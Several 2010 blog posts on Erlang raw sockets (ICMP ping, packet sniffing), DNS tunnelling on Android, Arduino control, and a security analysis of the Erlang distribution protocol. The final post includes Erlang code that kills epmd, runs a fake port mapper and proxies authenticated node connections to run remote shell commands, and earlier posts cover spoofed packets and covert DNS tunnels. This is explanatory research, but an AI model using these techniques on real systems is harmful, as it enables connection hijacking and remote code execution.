
Unlike the other examples of sending an ICMP packet, we'll need to prepare more than the ICMP header and payload. Because we are sending directly out on the interface, we have to add the ethernet and IPv4 header.

Ethernet Header

The ethernet header is composed of 6 bytes each for the destination and source MAC addresses and two bytes for the ethernet type.

Destination MAC Address:48
Source MAC Address:48
Type:16

The list of ethernet types can be found in linux/if_ether.h. The Erlang specification for this message format would be (assuming the destination mac address is 00:aa:bb:cc:dd:ee and the source mac address is 00:11:22:33:44:55):

<<
16#00, 16#aa: 16#bb, 16#cc, 16#dd, 16#ee,   % destination MAC address
16#00, 16#11: 16#22, 16#33, 16#44, 16#55,   % source MAC address
16#08, 16#00                                % type: ETH_P_IP
>>

IPv4 Header

The IPv4 header is:

Version:4
IHL:4
ToS:8
Total Length:16
Identification:16
Flags:3
Fragment Offset:13
Time to Live:8
Protocol:8
Checksum:16
Source Address:32
Destination Address:32

I won't bother to explain each field. See RFC 791 for details. Constructing an Erlang IPv4 header involves declaring the header once with the checksum field set to zero, performing a checksum on the header, then incorporating the checksum in the 2 byte checksum field.

IPv4 = <<
4:4, 5:4, 0:8, 84:16,
Id:16, 0:1, 1:1, 0:1,
0:13, TTL:8, ?IPPROTO_ICMP:8, 0:16,
SA1:8, SA2:8, SA3:8, SA4:8,
DA1:8, DA2:8, DA3:8, DA4:8
>>.

Id is a hint for reconstructing fragmented packets by the receiving host.
IPPROTO_ICMP is a macro set to 1. The value is defined in netinet/in.h.
The checksum field is set to 0 for checksumming purposes. After the checksum has been calculated, the resulting value is placed in this field.
The TTL is set to 64. Packets with a time to live of 0 are discarded.
SA1 to SA4 are the bytes representing the IPv4 source address.
DA1 to DA4 are the bytes representing the IPv4 destination address.

ICMP Header

I won't go over constructing the ICMP header, since it's been covered here.

Finally Sending the Packet

We have a raw PF_PACKET socket, the index of the interface to use the sendto() operation and a binary representing the ICMP packet and payload. We have the pieces in place now to send out the ping. We could bind() the interface and then use write() or send() to push out packets. In this example, we'll specify the link layer socket address structure holding the routing information for each packet.

struct sockaddr_ll {
    unsigned short sll_family;   /* Always AF_PACKET */
    unsigned short sll_protocol; /* Physical layer protocol */
    int            sll_ifindex;  /* Interface number */
    unsigned short sll_hatype;   /* Header type */
    unsigned char  sll_pkttype;  /* Packet type */
    unsigned char  sll_halen;    /* Length of address */
    unsigned char  sll_addr[8];  /* Physical layer address */
};

sll_family is, as the comment says, always PF_PACKET in host endian format.
sll_protocol is usually either ETH_P_ALL or ETH_P_IP. It is passed in big endian format but is defined in the header file in host endian format. For many linux installs, this will be little endian, so it will need to be byte swapped.
sll_halen is the length of the physical layer address. Although there are up to 8 bytes allowed for for the physical layer address, only 6 bytes are used for ethernet.

<<
?PF_PACKET:16/native,   % sll_family: PF_PACKET
16#0:16,             % sll_protocol: Physical layer protocol, big endian
Interface:32/native,    % sll_ifindex: Interface number
0:16,                   % sll_hatype: Header type
0:8,                    % sll_pkttype: Packet type
0:8,                    % sll_halen: address length

0:8,                    % sll_addr[8]: physical layer address
0:8,                    % sll_addr[8]: physical layer address
0:8,                    % sll_addr[8]: physical layer address
0:8,                    % sll_addr[8]: physical layer address
0:8,                    % sll_addr[8]: physical layer address
0:8,                    % sll_addr[8]: physical layer address

0:8,                    % sll_addr[8]: physical layer address
0:8                     % sll_addr[8]: physical layer address
>>

From trial and error, only sll_ifindex needs to be set. Even the sll_family does not seem be required in this context, although the man page suggests it is required. (sll_halen and sll_addr values would otherwise be set to 6 for sll_halen and the first 6 bytes of sll_addr to the MAC address of the destination ethernet device.) The source and destination appear to be read directly from the ethernet header. The pkt module will construct an ethernet frame and send it on the network. The function interface is a bit cumbersome, forcing you to specify the MAC and IP address of both the source and destination, but allows spoofing packets from different IP/MAC combinations.

pkt:ping(
    {"eth0", {16#00,16#11,16#22,16#33,16#44,16#55}, {192,168,213,213}},
    {{16#00,16#aa,16#bb,16#cc,16#dd,16#ee}, {192,168,213,1}}
).

The first argument is a 3-tuple representing the network interface, source MAC and IP address. The second argument is a 2-tuple representing the destination MAC and IP address. Looking at the output from tcpdump:

# tcpdump -n -s 0 -XX -i ath0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ath0, link-type EN10MB (Ethernet), capture size 65535 bytes
18:58:40.077600 IP 192.168.213.213 > 192.168.213.1: ICMP echo request, id 7338, seq 0, length 64
        0x0000:  0011 2233 4455 00aa bbcc ddee 0800 4500  ....>....Y.&..E.
        0x0010:  0054 1caa 4000 4001 f1d6 c0a8 d5d5 c0a8  .T..@.@.........
        0x0020:  d501 0800 ea06 1caa 0000 0000 04fc 0007  ................
        0x0030:  2ba0 0001 2e02 2021 2223 2425 2627 2829  +......!"#$%&'()
        0x0040:  2a2b 2c2d 2e2f 3031 3233 3435 3637 3839  *+,-./0123456789
        0x0050:  3a3b 3c3d 3e3f 4041 4243 4445 4647 4849  :;<=>?@ABCDEFGHI
        0x0060:  4a4b                                     JK
18:58:40.078464 IP 192.168.213.1 > 192.168.213.213: ICMP echo reply, id 7338, seq 0, length 64
        0x0000:  00aa bbcc ddee 0011 2233 4455 0800 4500  ...Y.&....>...E.
        0x0010:  0054 86ee 0000 4001 c792 c0a8 d501 c0a8  .T....@.........
        0x0020:  d5d5 0000 f206 1caa 0000 0000 04fc 0007  ................
        0x0030:  2ba0 0001 2e02 2021 2223 2425 2627 2829  +......!"#$%&'()
        0x0040:  2a2b 2c2d 2e2f 3031 3233 3435 3637 3839  *+,-./0123456789
        0x0050:  3a3b 3c3d 3e3f 4041 4243 4445 4647 4849  :;<=>?@ABCDEFGHI
        0x0060:  4a4b                                     JK

Fun with Raw Sockets in Erlang: Decoding Packets

2010-06-04T13:20:00.000-04:00

Reading from the network using PF_PACKET will return the packets as binary data.

Parsing the packet is easy to do using Erlang's pattern matching. epcap has some functions to convert the binaries into records. We can use the same functions to decapsulate packets returned from procket.

For example, here is the output from a ping:

=INFO REPORT==== 4-Jun-2010::12:50:55 ===
    source_macaddr: "0:15:AF:xx:xx:xx"
    source_address: {192,168,213,213}
    source_port: []
    destination_macaddr: "0:16:B6:xx:xx:xx"
    destination_address: {67,195,160,76}
    destination_port: []
    protocol: icmp
    protocol_header: [{type,8},{code,0}]
    payload_bytes: 56
    payload: "...L............................ !\"#$%&'()*+,-./01234567"

The code is a modified version of sniff that is distributed with epcap. To compile the code, you'll need a copy of epcap_net.hrl and to run it, both the procket and epcap beam files will have to be in your path. Using the "-pa" option, something like:

erl -pa /path/to/procket/ebin -pa /patch/to/epcap/ebin

Raw Socket Programming in Erlang: Reading Packets Using PF_PACKET

2010-05-29T13:09:00.000-04:00

BSD has BPF, Solaris has DLPI and Linux, well, has had many interfaces. The latest uses a linux specific protocol family, PF_PACKET. PF_PACKET can receive whole packets from the network as well as generate them, like a combination of BPF and the BSD raw socket interface.

PCAP is an abstraction over these different interfaces. epcap uses a system process linked to the PCAP library to read ethernet frames and send them as messages into Erlang using the port interface. Using procket with the PF_PACKET socket option, I've been playing with reading packets directly off the network and generating them as well.

The PF_PACKET interface is used by passing options to socket().

int socket(int domain, int type, int protocol);

The protocol family is, of course, PF_PACKET.
The type may be either SOCK_RAW or SOCK_DGRAM. SOCK_RAW will return the whole packet, including the ethernet header. A process sending a packet must prepend a link layer header. A socket with type SOCK_DGRAM will strip off the link layer header and generate a valid header for outgoing packets.
The protocol is selected from one of the values in linux/if_ether.h.
```
#define ETH_P_IP    0x0800
#define ETH_P_ALL   0x0003
```
ETH_P_ALL will retrieve all network packets and ETH_P_IP just the IP packets. The values are in host-endian format and will need to be converted to network byte order before being used as arguments to socket().

Receving Packets using recvfrom()

To send and receive packets from a socket using PF_PACKET, the normal connection-less socket operations are used: sendto() and recvfrom(). By default, socket operations will block, unless the O_NONBLOCK flag is set using fcntl(). The gen_udp module in Erlang internally calls recvfrom(), so it can deal with raw sockets. Another example of using gen_udp in this way is for sending ICMP packets and reading the ICMP ECHO replies. Alternatively, I've added a recvfrom/2 function to the procket NIF for testing.

Sniffing Packets in Erlang

To read packets from the network device, either gen_udp or the NIF recvfrom/2 can be used. Using gen_udp:

-module(packet).
-export([sniff/0]).

-define(ETH_P_IP, 16#0008).
-define(ETH_P_ALL, 16#0300).

sniff() ->
    {ok, S} = procket:listen(0, [
            {protocol, ?ETH_P_ALL},
            {type, raw},
            {family, packet}
        ]),
    {ok, S1} = gen_udp:open(0, [binary, {fd, S}, {active, false}]),
    loop(S1).

loop(S) ->
    Data = gen_udp:recv(S, 2048),
    error_logger:info_report([{data, Data}]),
    loop(State).

The definitions of ETH_P_IP and ETH_P_ALL are in big endian format. The port is irrelevant and is set to 0 in procket:listen/2. The type is raw but can also be set to dgram. Using the NIF, the process must poll the socket. procket:recvfrom/2 will return the atom nodata if the socket returns EAGAIN; the tuple {ok, binary} with the binary data representing the packet or a tuple holding the value of errno, e.g., {error, {errno, strerror(errno)}}. The return values will probably change in the future.

sniff() ->
    {ok, S} = procket:listen(0, [
            {protocol, ?ETH_P_ALL},
            {type, raw},
            {family, packet}
        ]),
    loop(S).

loop(S) ->
    case procket:recvfrom(S, 2048) of
        nodata ->
            timer:sleep(1000),
            loop(S);
        {ok, Data} ->
            error_logger:info_report([{data, Data}]),
            loop(S);
        Error ->
            error_logger:error_report(Error)
   end.

ICMP Ping in Erlang

2010-05-24T16:28:00.004-04:00

(Also see ICMP Ping in Erlang, part 2)

ICMP ECHO Packet Structure

RFC 792 describes an ICMP ECHO packet as:

Type:8
Code:8
Checksum:16
Identifier:16
Sequence Number:16
Data1:8
...
DataN:8

The number after the colon represents the number of bits in the field.

The type field for ICMP ECHO is set to 8. The response (ICMP ECHO REPLY) has a value of 0.
The code is 0.

The checksum is a one's complement checksum that covers both the ICMP header and the data portion of the packet. An Erlang version looks like:

makesum(Hdr) -> 16#FFFF - checksum(Hdr).

checksum(Hdr) ->
    lists:foldl(fun compl/2, 0, [ W || <<W:16>> <= Hdr ]).

compl(N) when N =< 16#FFFF -> N;
compl(N) -> (N band 16#FFFF) + (N bsr 16).
compl(N,S) -> compl(N+S).

The identifier and sequence number allow clients on a host to differentiate their packets, for example, if multiple ping's are running. The client will usually increment the sequence number for each ICMP ECHO packet sent.
Data is the payload. Traditionally, it holds a struct timeval so the client can calculate the delay without having to maintain state, but any value can be used, such as the output of erlang:now/0. The remainder is padded with ASCII characters.

The description of an ICMP packet in Erlang is very close to the specification. For ICMP ECHO:

<<8:8, 0:8, Checksum:16, Id:16, Sequence:16, Payload/binary>>

The ICMP ECHO reply is the same packet returned, with the type field set to 0 and an updated checksum:

<<0:8, 0:8, Checksum:16, Id:16, Sequence:16, Payload/binary>>

Opening a Socket

Sending out ICMP packets requires opening a raw socket. Aside from the issues of having the appropriate privileges, Erlang does not have native support for handling raw sockets. I used procket to handle the privileged socket operations and pass the file descriptor into Erlang. Once the socket is returned to Erlang, we can perform operations on it as an unprivileged user. Since there isn't a gen_icmp module, we need some way of calling sendto()/recvfrom() on the socket. gen_udp uses sendto(), so we can misuse it (with some quirks) for our icmp packets.

% Get an ICMP raw socket
{ok, FD} = procket:listen(0, [{protocol, icmp}]),
% Use the file descriptor to create an Erlang socket structure
{ok, S} = gen_udp:open(0, [binary, {fd, FD}]),

The port is meaningless, so 0 is passed in as an argument. We create the packet payload twice: first with a zero'ed checksum, then with the results of the checksum.

make_packet(Id, Seq) ->
    {Mega,Sec,USec} = erlang:now(),
    Payload = list_to_binary(lists:seq(32, 75)),
    CS = makesum(<<?ICMP_ECHO:8, 0:8, 0:16, Id:16, Seq:16, Mega:32, Sec:32, USec:32, Payload/binary>>),
    <<
        8:8,    % Type
        0:8,    % Code
        CS:16,  % Checksum
        Id:16,  % Id
        Seq:16, % Sequence
        Mega:32, Sec:32, USec:32,   % Payload: time
        Payload/binary
    >>.

The packet can be sent via the raw socket using gen_udp:send/4, with the port again set to 0.

ok = gen_udp:send(S, IP, 0, Packet)

Since we're abusing gen_udp, we can wait for a message to be sent to the process:

receive
    {udp, S, _IP, _Port, <<_:20/bytes, Data/binary>>} ->
        {ICMP, <<Mega:32/integer, Sec:32/integer, Micro:32/integer, Payload/binary>>} = icmp(Data),
        error_logger:info_report([
            {type, ICMP#icmp.type},
            {code, ICMP#icmp.code},
            {checksum, ICMP#icmp.checksum},
            {id, ICMP#icmp.id},
            {sequence, ICMP#icmp.sequence},
            {payload, Payload},
            {time, timer:now_diff(erlang:now(), {Mega, Sec, Micro})}
        ]),
after
    5000 ->
        error_logger:error_report([{noresponse, Packet}])
end

In the above code snippet, you may have noticed the first 20 bytes of the payload is stripped off. Comparing the ICMP packet we sent and the response handed to the process by gen_udp:

icmp: <<8,0,186,30,80,228,0,0,0,0,4,250,0,12,16,77,0,1,69,0,32,33,34,35,36,
            37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,
            59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75>>
    response: <<69,0,0,84,101,155,64,0,64,1,154,44,192,168,220,187,192,168,220,
                212,0,0,194,30,80,228,0,0,0,0,4,250,0,12,16,77,0,1,69,0,32,33,
                34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,
                55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75>>

While the process sent a 64 byte ICMP packet, gen_udp hands it an 84 byte packet which includes the 20 byte IPv4 header. An example of an Erlang ping is included with procket on github. The example will just print out the packets using error_logger:info_report/1:

1> icmp:ping("192.168.213.1").

=INFO REPORT==== 24-May-2010::16:21:37 ===
    type: 0
    code: 0
    checksum: 52034
    id: 14837
    sequence: 0
    payload: <<" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJK">>
    time: 16790

DNS Tunnelling on Android

2010-04-28T16:52:00.001-04:00

I have a Motorola Milestone, its somewhat awesome, but what would make it awesome-er is ... tunnelling TCP/IP over DNS! Any device that can support covert, high latency, text based network protocols should. And rooting the phone isn't required.

It turns out it is suprisingly easy to get simple C code running on an Android phone, if you don't mind statically compiling and don't have many dependencies. The results are sort of bloated though.

You can download a precompiled sods client (sdt) for Android (the binary will also work on Nokia tablets running Maemo) from here. I compiled sdt using scratchbox. You'll need a sods server and a domain set up, of course (here are instructions).

Copy sdt to your phone. I moved it to the sd card.

If you don't have ConnectBot installed, get it from the Android market now. Start up ConnectBot and create a new local host. This will start a shell on the phone.

Change to the ConnectBot data directory; we'll use it to hold the sods client.

cd /data/data/org.connectbot

Create a new directory or use the files directory (I have no idea what will happen to these directories when ConnectBot is upgraded).

mkdir bin
cd bin

Copy sdt and change the permissions:

cp /sdcard/tmp/sdt .
chmod 744 sdt
./sdt -h

Now create a new local host to run sdt. Do a long press on the new entry and select "Edit Host".

Choose the "Post-login automation" item. This will let us run commands when the shell is started.

The flags to sdt can be manually specified or wrapped in a shell script.

Here is an example shell script (called sd):

#!/system/bin/sh

PORT=22220

S=${1:-0}
PORT=$((PORT+$S))

T=${2:-TXT}

NS1=`getprop net.dns1`
NS=${3:-$NS1}
./sdt -t $T -r $NS -p $PORT -s $S -vvvv x.a.example.com x.b.example.com x.n.example.com

Create a new ssh host, connecting to localhost and whatever port sdt has been configured to listen on (using the -p flag).

Test it out. In the ConnectBot host list, select the sdt host.

Hit the back button, then select the ssh host.

If everything works out, a glorious, if slow, ssh session over DNS should be the reward.

After login, run GNU screen (in case the connection drops). I usually run console apps, but ConnectBot supports port forwarding for those times you need to run send data from other apps over the tunnel (forwarding through a proxy like ziproxy works well).

centerim: IRC over SSH over TCP/IP over DNS

Web browsing over DNS on a phone using w3m

Update: 2011-03-13

I've switched phones to an HTC Desire Z (running Android 2.2) and one of my first tasks was to get sods running on it.

I was getting permission errors copying from the sdcard to the connectbot directory so I resorted to using "cat":
```
cd /data/data/org.connectbot/bin
cat /sdcard/tmp/sdt > sdt
chmod 755 sdt
./sdt -h
```
If you are having problems connecting to the sods server, make sure another sdt process is not running. To do this, run "ps" and "kill" from the ConnectBot shell or kill the ConnectBot application.

Accessing an Arduino from Erlang

2010-04-12T21:02:00.000-04:00

First we'll need to upload a sketch to the Arduino. There are many examples floating around. Here is a simple one to control LED's. Yes, not exactly novel.

You will need to modify the definitions of FPIN and LPIN to match the first and last digital pins the LED's are plugged into. Compile and upload the sketch.

The lights are set as a bitmask. For example, to activate the first LED, send the integer 1; for the third LED, send 4; and for both the first and third LED, send 5. If you defined the DEBUG macro, you can test from the serial monitor by sending the ASCII representation of the numbers.

Now download and compile the erlang-serial port driver. Start up Erlang:

1> Pid = serial:start([{open, "/dev/ttyUSB0"}, {speed, 9600}]).
<0.47.0>
2> Pid ! {send, 1 bsl 2}. % LED at position 3

Doing Something Useful

Switching LED's on and off programmatically is hours of fun. But, like many others have discovered before, hook it up to a monitoring system and it becomes sort of useful.

I have a monitoring service running Nagios. Yeah, I think Nagios sucks too. The Erlang code does a request for the tactical overview page, parses out the statistics and sets the alert status accordingly.

Monitoring Ambient Light

Here is another simple project: creating a graph of ambient light levels using an LDR and the really quite awesome eplot library.

Connect the LDR to an analog pin and upload a sketch: The Erlang code has 2 components: a process that periodically reads and stores the sensor data and a web server that displays a graph in PNG format.

light:start().
sensor:start().

Reading the sensor:

Displaying the graph:

After the web server is running, the web page can be found by going to:

http://localhost:8889/web/sensor:graph

(I think the spikiness was caused by a blinking LED somewhere around the LDR).

Spoofing the Erlang Distribution Protocol

2010-03-31T19:41:00.008-04:00

(Update (2010/09/15): Well, that's annoying! With the release of Erlang R14B, it looks as if some of the issues with epmd have been fixed! Here is the log of the commit made by bufflig (Patrik Nyblom):

Fix anomalies in epmd not yet reported as security issues

Use erts_(v)snprintf to ensure no buffer overruns in debug printouts.
Disallow everything except port and name requests from remote nodes.
Disallow kill command even from localhost if alive nodes exist.
  -relaxed_command_check when starting epmd returns the possibility to
  kill this epmd when nodes are alive (from localhost).
Disallow stop command completely except if -relaxed_command_check is given
  when epmd was started.
Environment variable ERL_EPMD_RELAXED_COMMAND_CHECK can be set to always get
  -relaxed_command_check.

Fortunately (for those wishing to spoof the protocol), there are still other ways to kill epmd.

Awesome work by the Erlang/OTP team!)

One of the unique features of the Erlang programming language is the transparent, built in distribution. The unit of activity in Erlang is the process. Processes run on nodes which reside locally or on remote servers, communicating by message passing. If a process somewhere crashes, a linked process running on another server can detect the crash and perform error recovery.

Erlang distribution is very easy to use, pretty much working out of the box. But, in the default configuration, it's often advised that the Erlang distribution protocol is insecure and should only be run on trusted networks:

[The cookie authentication mechanism] is not entirelly safe, as it is vulnerable against takeover attacks, but it is a tradeoff between fair safety and performance.

So the questions are: what are the risks in running a distributed Erlang node, where can distribution be used safely and what can be done to limit potential attacks against it?
Source code is available on github.

Erlang Distribution

The Erlang Port Mapper Daemon

Distributed Erlang nodes bind a random TCP port for distribution requests. The Erlang port mapper daemon, or epmd, maps the name of the node to the port on which the node is listening.

epmd acts as a key/value store. A node registers with epmd by opening a TCP connection to localhost on a well known port (4396). The node sends a message containing the node name and distribution port. The node is now registered and will remain registered until the TCP connection is dropped.

An example of a registration message is:

register({IP, Port}, Key, Value) ->
    Packet = <<
    120,                    % ALIVE2_REQ response: x
    Value:16,                % PortNo
    77,                     % NodeType: normal Erlang node
    0,                      % Protocol: TCP
    0,5,                    % Highest Version
    0,5,                    % Lowest Version
    (byte_size(Node)):16,   % NLen
    Node/bytes,             % NodeName
    0,0                     % ELen
    >>,
    {ok, Socket} = gen_tcp:connect(IP, Port, [
            {packet,2},
            {active, true},
            binary
        ]),
    ok = gen_tcp:send(Socket, Packet),
    wait(Socket).

wait(Socket) ->
    receive _ -> wait(Socket) end.

A Distributed Erlang Node

A node is started in distributed mode when the -sname or -name option is passed on the command line to the erl command. Erlang will start an epmd process if one is currently not running.

When a request is made to connect to another distributed Erlang node, for example by using net_adm:ping('node@example.com'), the Erlang node will resolve the portion of the node name after the @ symbol (or use localhost, if the node is brought up using -sname), and send a PORT_PLEASE2_REQ request for the name (the portion of the atom preceding the @ sign) to the resolved IP address. epmd responds with a message containing the node's port and closes the connection.

The originating Erlang node now opens a TCP connection to the destination Erlang node's distribution port. The nodes authenticate each other using the Erlang cookie mechanism. If the challenge handshake succeeds, the nodes are connected. Communication is bidirectional. This link will be used for all distributed operations between the two nodes.

Erlang Cookies

Erlang cookie authentication resembles RADIUS, CHAP and X11 magic cookies. Cookies are a secret that must be known on all members of the Erlang cluster. Valid characters in a cookie are ASCII 32-126 (space to tilde).

Generating the Erlang Cookie

If a secret is not provided, Erlang will generate a 20 byte file in the user's home directory (~/.erlang.cookie) composed of uppercase letters. Erlang uses a weak pseudo-random number generator with an implementation similar to rand(3). The seed is the seconds and microseconds fields of erlang:now(). The returned random value acts as the seed for the next random value until 20 uppercase letters are chosen. The creation time of the ~/.erlang.cookie file is changed to midnight to obscure the initial seed value.

The Challenge Handshake

The challenge process is explained in the Erlang kernel documentation. ~~The kernel docs show a 4 byte digest used to verify knowledge of the secret, instead of the 16 byte digest generated by MD5. Maybe at one point the cookie mechanism used something like CRC32.~~(The docs have been updated).

After the TCP connection is established, the originating node sends:

"n"
Version0
Version1
Flag0
Flag1
Flag2
Flag3
Name0
Name1
Name2
...
NameN

The version fields are 2 bytes and contain the minimum/maximum version of the distribution protocol supported by the node. The Name fields hold the bytes representing the full name of the originating node (node and domain name).

The destination node replies with a status message indicating how the originating node may proceed. For example, the connection might not be allowed because a connection is in progress or might already exist.

"s"
Status0
Status1
...
StatusN

If the status indicates the connection can continue, the destination node sends another message containing the challenge.

"n"
Version0
Version1
Flag0
Flag1
Flag2
Flag3
Challenge0
Challenge1
Challenge2
Challenge3
Name0
Name1
Name2
...
NameN

This message contains the versions supported by the destination node, any compatibility flags, the 4 byte challenge and the node name. The challenge is generated by gathering some runtime statistics:

%% ---------------------------------------------------------------
%% Challenge code
%% gen_challenge() returns a "random" number
%% ---------------------------------------------------------------
gen_challenge() ->
    {A,B,C} = erlang:now(),
    {D,_}   = erlang:statistics(reductions),
    {E,_}   = erlang:statistics(runtime),
    {F,_}   = erlang:statistics(wall_clock),
    {G,H,_} = erlang:statistics(garbage_collection),
    %% A(8) B(16) C(16)
    %% D(16),E(8), F(16) G(8) H(16)
    ( ((A bsl 24) + (E bsl 16) + (G bsl 8) + F) bxor
        (B + (C bsl 16)) bxor
        (D + (H bsl 16)) ) band 16#ffffffff.

The originating node computes the digest by concatenating the challenge with the cookie and digesting the result using MD5:

%% Generate a message digest from Challenge number and Cookie   
gen_digest(Challenge, Cookie) when is_integer(Challenge), is_atom(Cookie) ->
    erlang:md5([atom_to_list(Cookie)|integer_to_list(Challenge)]).

The resulting 16 byte MD5 digest is sent to the destination node along with a new 4 byte challenge.

"r"
Challenge0
Challenge1
Challenge2
Challenge3
Digest0
Digest1
Digest2
...
Digest15

The destination node verifies the received digest, computes a digest based on the origin node's challenge and replies with an acknowlegement message:

"a"
Digest0
Digest1
Digest2
...
Digest15

If either digest does not match, the nodes will drop the connection and log a handshake failure. Authentication is performed for each TCP connection; no verification is done once the challenge process is established. If the TCP connection is dropped, for whatever reason, a new TCP connection must go through the authentication procedure again.

Abusing epmd

Running epmd

epmd comes from an environment where physical servers are dedicated to a single task. Probably all Erlang nodes ran under a single UID.

On multiuser systems, such as development servers or systems that require some privilege separation, the first Erlang node to run starts and controls the epmd process. This user can now control the port map requests given for other nodes. The user running epmd can also snoop name requests.

The temptation might be to explicitly start epmd as root at boot. Use a dedicated user, there's no reason to run as root.

epmd Authentication

epmd only requires a few operations: registering a node name and port, retrieving a port based on node name, retrieving all names and ports known to the epmd process (as well as some debug info, if requested), and shutting down epmd.

Though logically these operations are distinct for remote and local access (a remote node, for example, would never register a node/port value, since ports are local to the node and do not include the IP address; in fact, the epmd command line flags such as "-names" will only connect to localhost), no distinction is made between local and remote access to epmd. Authentication is not required to query epmd.

Any device that is allowed to open a TCP connection to the epmd port can:

issue a kill command and shut down the epmd process: any new attempts at joining in Erlang distribution with nodes residing on this server will fail
set any key/value pair

epmd allows storing of arbitrary bytes. "epmd -names" simply echoes these bytes. The output displayed by running "epmd -names" is the actual formatted message returned by the epmd server. So epmd could be used to store data, as long as the TCP connection is maintained. Some scenarios:

bypass network segmentation: if 2 hosts can talk to the host running epmd but not each other
establish a covert channel

Covert channels could be used for:

interprocess communication, like a command queue for bots
tunnelling data: TCP over epmd over TCP!
storage of data: the basis of a FUSE filesystem

A naive implementation might be to store an ID as the node name (the key), with the data stored in the 2 byte value allocated for the port. Even when using a secure transport layer (ssl, ssh) for the Erlang distribution protocol, nodes will still need a way of finding each other. epmd is too risky to place on a public network.

Abusing Cookies

The cookie mechanism only proves that, for the given TCP connection, there is knowledge of the secret. Though the node names are included in the challenge message, they are not included in the digest. Similarly, neither IP addresses or timestamps are included in the digest. The Erlang cookie authentication also does not validate the data sent after the handshake is completed, so there is no integrity checking built into the distribution protocol.

Replaying the Challenge

Erlang cookies are generated by concatenating a 4 byte challenge with a secret and digesting the result using MD5. The Erlang kernel documentation for this process notes the 32-bit integer used as the challenge must be very random, but really it needs only to be well distributed. The response to the challenge proves the node knows the secret. At least in theory, the only practical way to derive the secret from the digest is using brute force. But knowing the response to the challenge is equivalent to knowing the secret, if the challenge is ever repeated. The strength of the cookie mechanism lies in the time before a challenge is repeated.

1> cookie:start().
{11487,
 {found,{3534940387,971},
        [88321801,88780553,92321534,93695753,94154505,94809865,
         95268617,96843513,97367801,97957625,98481913,99071742,
         99596030,100120318,100644606,172271960,172796248,173320536,
         174041432,176726281,177250569,177774857,178561289,
         179085577|...]}}

In the above test, an attacker would have had to snoop 971 handshakes before there is a repeated challenge. There are 2 challenges for each authentication. Only one successful connection is needed since the attacker can run erlang:get_cookie() once authenticated. However, being able to replay a challenge requires being able to somehow snoop connections. And for most systems, authentication is a rare event, since TCP connections for internode communication are persistent.

Brute Force

Since all nodes share the same cookie, and given that cookies likely change very rarely, its possible for the attacker to open connections to each node and brute force in parallel. Since MD5 is quite fast, and there is no provision in the protocol to slow down the digesting process, many attacks can be run.

MITM

For many environments, the threat of replay and brute force might not be that bad. While they are feasible, if you do any sort of monitoring, you'll very likely notice an attack in progress. The lack of any sort of integrity protection is a real issue; one that Erlang developers have addressed, to an extent, with the SSL transport mechanism.

Proxying from a Local Node

Since anyone can stop epmd, an attacker on the same server can bring up their own port mapper service. When epmd is killed, the attached Erlang nodes will not attempt to reconnect. An attacker can listen on any available port, open a connection to the distribution port of the Erlang node that is being targeted and advertise the port of the spoofing proxy to any distribution requests. spoofed contains some code to demonstrate this sort of attack. First, we retrieve the ports known to epmd by sending a name request (the letter "n", with a 2 byte length header):

names(IP, Port) ->
    Packet = list_to_binary([<<110>>]),
    {ok, Socket} = gen_tcp:connect(IP, Port, [
            {packet,2},
            {active, true},
            binary
        ]),
    ok = gen_tcp:send(Socket, Packet),
    wait(Socket).

Next, we set up a fake epmd to answer port map requests. The fake empd binds the well-known epmd port and spawns a process to handle each TCP connection. For most message types, the client expects epmd to close the connection after responding. The exception is node registration: breaking the connection will deregister the node.

loop(Socket, Port) ->
    receive
        {tcp, Socket, <<110>>} ->
            inet:setopts(Socket, [{packet, 0}]),
            Response = list_to_binary([
                    <<4396:32>>,
                    lists:flatten(io_lib:format("I can haz ~s at port ~p~n", ["fake", Port]))
                ]),
            error_logger:info_report([{epmd, names_request}, {response, Response}]),
            ok = gen_tcp:send(Socket, Response);
        {tcp, Socket, <<122, Node/binary>>} ->
            inet:setopts(Socket, [{packet, 0}]),
            Response = <<
            119,                    % PORT_PLEASE2_REQ response
            0,                      % Result: no error
            Port:16,                % PortNo
            77,                     % NodeType: normal Erlang node
            0,                      % Protocol: TCP
            0,5,                    % Highest Version
            0,5,                    % Lowest Version
            (byte_size(Node)):16,   % NLen
            Node/bytes,             % NodeName
            0,0                     % ELen
            >>,
            error_logger:info_report([{epmd, Node}, {response, Response}]),
            ok = gen_tcp:send(Socket, Response);
        {tcp_closed, Socket} ->
            error_logger:info_report([{epmd, tcp_close}]);
        {tcp_error, Socket} ->
            error_logger:info_report([{epmd, tcp_error}])
    end.

Finally, we set up the proxy to listen on the fake Erlang distribution port. The proxy just proxies any data, including the challenge handshake. Since the origin and destination nodes presumably share a common cookie, the authentication will succeed. Assuming 59000 is the distribution port of the Erlang node and port 59001 is unbound, we could run a proxy as follows:

spoof:kill().
spoof:epmd(59001). % where the argument is where our proxy port will be listening
spoof:proxy(59000, 590001). % Erlang distribution port, fake Erlang node proxy port.

At this point we can snoop the data being sent between nodes. Of course, we still do not know the cookie, only a derived secret (probably 2 of them), but the TCP connection from our proxy is fully authenticated. We could drop the connection to the originating node at this point and send our own messages as a fully connected distributed node:

(n@ack.lan)1> erlang:get_cookie().
mysecretcookie

However, we can also modify the connection in interesting ways:

1>F = fun(in,X)  -> re:replace(X, "foo", "bar", [{return, binary}]);
1>       (out,X) -> X end.

2>spoof:proxy(59000, 590001, F).

3>foo == bar.
true

4>Afoo = 123.
123
5>Afoo.
123
6>Abar.
123

7>rpc:call('n@ack.lan', os, cmd, ["echo foofoo"]).
"barfoo\n"

8> rpc:call('n@ack.lan', os, cmd, ["touch /tmp/ohaifoothere"]).
[]

9> rpc:call('n@ack.lan', os, cmd, ["ls /tmp/ohaifoothere"]).
"/tmp/ohaibarthere"

Proxying from a Remote Node

Assuming an attacker can convince an Erlang node to connect to a host under their control (using DNS poisoning, ARP spoofing, social engineering, ...), the attacker can proxy the connection anywhere. There's a problem with proxying a connection from a host to a node that is not local, though. The challenge messages contain the full name of the node that is sending the message, including the domain name. Assume there are 3 nodes: nul.lan (the originating node), ecn.lan (the destination node) and ack.lan (the attacker). If an Erlang node on nul.lan accidentally connects to ack.lan intending to reach ecn.lan (or any other node sharing the same cookie), ack.lan can forward the connection to ecn.lan. nul.lan may not even have intended to connect to ecn.lan.

spoof:kill().
spoof:epmd(59001).
